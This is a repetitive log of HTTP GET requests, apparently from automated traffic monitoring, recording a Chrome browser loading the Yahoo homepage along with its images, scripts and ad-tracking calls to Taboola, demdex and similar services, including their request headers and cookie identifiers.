Source: global traffic	HTTP traffic detected: GET /pv/static/img/voiceSearch1x-1620383531565.min.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ybar/exp.json HTTP/1.1Host: edge-mcdn.secure.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/wf4JZe1gzftkEKJyi73iwA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/the_spruce_188/01d9030260c40e4271776a19d81dcb0d.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/c/755f6a7.caas-news_web.min.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=30646?dpuuid=y-phWjmapE2pFlmUp6fd40ho1y9pZXqldhkLA-~A&redir=https%3A%2F%2Fups.analytics.yahoo.com%2Fups%2F58782%2Fcms%3Fpartner_id%3DADOBE%26_origin%3Dfalse%26_redirect%3Dfalse%26_hosted_id%3D%24%7BDD_UUID%7D HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/f3GRHZeRABNpJiPbHs4McA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/wwd_409/a6afc674d9b56b0fa8f0f824d671500c.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/W7BlkVb3JweZnQNoIkHchA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/miami_herald_mcclatchy_975/6cc52b158992fe8218d9d85b25491d91.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/Lg5WgrqEEIfUVDSR.3ISjQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/usa_today_news_641/e0e4d3ffc4cc8cc7accd7efa9f2d137d.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/NHD3rrn1.wLWnNRxMGteMQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/insider_articles_922/ba89a0be2fcc3c8cd4db6f4cee05297e.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/bL99WRZEMid6IrkjErw_rw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/the_enquirer_natl_articles_358/0190bd8563fb5656c0d97f677093e9c0.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libtrc/impl.20240929-12-RELEASE.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: abLdr=26; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9202214988&yho=y-tJYw.JlE2p5NhgKpc7k9ZRSggsb6jE9uAgY-~A HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383&us_privacy=1YNN HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_pid=27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /aaq/vzm/cs_1.6.6.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oath/1/info?sType=sync&_sdv&sExtCookieId=y-utA7x.JE2oM7UhEgkHtPGjDCEovUviSB184-~A&sInitiator=external HTTP/1.1Host: uipglob.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/notifications/js/sh-5.17.91.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/hc/homepage-pwa-defer-1.1.6.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /service-worker.js HTTP/1.1Host: www.yahoo.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.yahoo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-shopping.ShoppingContent.atomic.ltr.1d44a92ce88f1df1ccb0dcecff203bbd.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /demconf.jpg?et:ibs%7cdata:dpid=30646 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=86882777560484617681301632197120982451
Source: global traffic	HTTP traffic detected: GET /ybar/exp.json HTTP/1.1Host: edge-mcdn.secure.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-shopping.custom.desktop.fdf1fc8fe6bc6d08523f7958b8edf2b5.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/cds-pips.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.yahoo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/img/voiceSearch1x-1620383531565.min.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/wf4JZe1gzftkEKJyi73iwA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/the_spruce_188/01d9030260c40e4271776a19d81dcb0d.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /taboola/image/fetch/c_crop%2Cf_jpg%2Cq_auto%2Ce_sharpen%2Car_1.9100%2Cw_1200%2Cx_0%2Cy_11/c_fill%2Cw_340%2Ch_179/http%3A//cdn.taboola.com/libtrc/static/thumbnails/9cc49da8e6bbb68a4a886a5bc8ac7872.png HTTP/1.1Host: images.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /aaq/f10d509c/d1ccw66oyq8ex2.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_179%2Cw_340%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A//cdn.taboola.com/libtrc/static/thumbnails/0ecf13bd0c5698f9380cda21a35784a0.jpg HTTP/1.1Host: images.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/NHD3rrn1.wLWnNRxMGteMQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/insider_articles_922/ba89a0be2fcc3c8cd4db6f4cee05297e.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/bL99WRZEMid6IrkjErw_rw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/the_enquirer_natl_articles_358/0190bd8563fb5656c0d97f677093e9c0.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oath/1/info?sType=sync&_sdv&sExtCookieId=y-utA7x.JE2oM7UhEgkHtPGjDCEovUviSB184-~A&sInitiator=external HTTP/1.1Host: uipus.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=ShoppingContent&m_id=react-wafer-shopping&m_mode=json&xhrPathPrefix=%2Ffp_ms%2F_rcv%2Fremote HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; trc_cookie_storage=taboola%2520global%253Auser-id%3D27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380
Source: global traffic	HTTP traffic detected: GET /du/ay/wnsrvbjmeprtfrnfx.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/prebid/prebid-2.0.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-autocomplete-1.31.8-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/vzm/cs_1.6.6.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
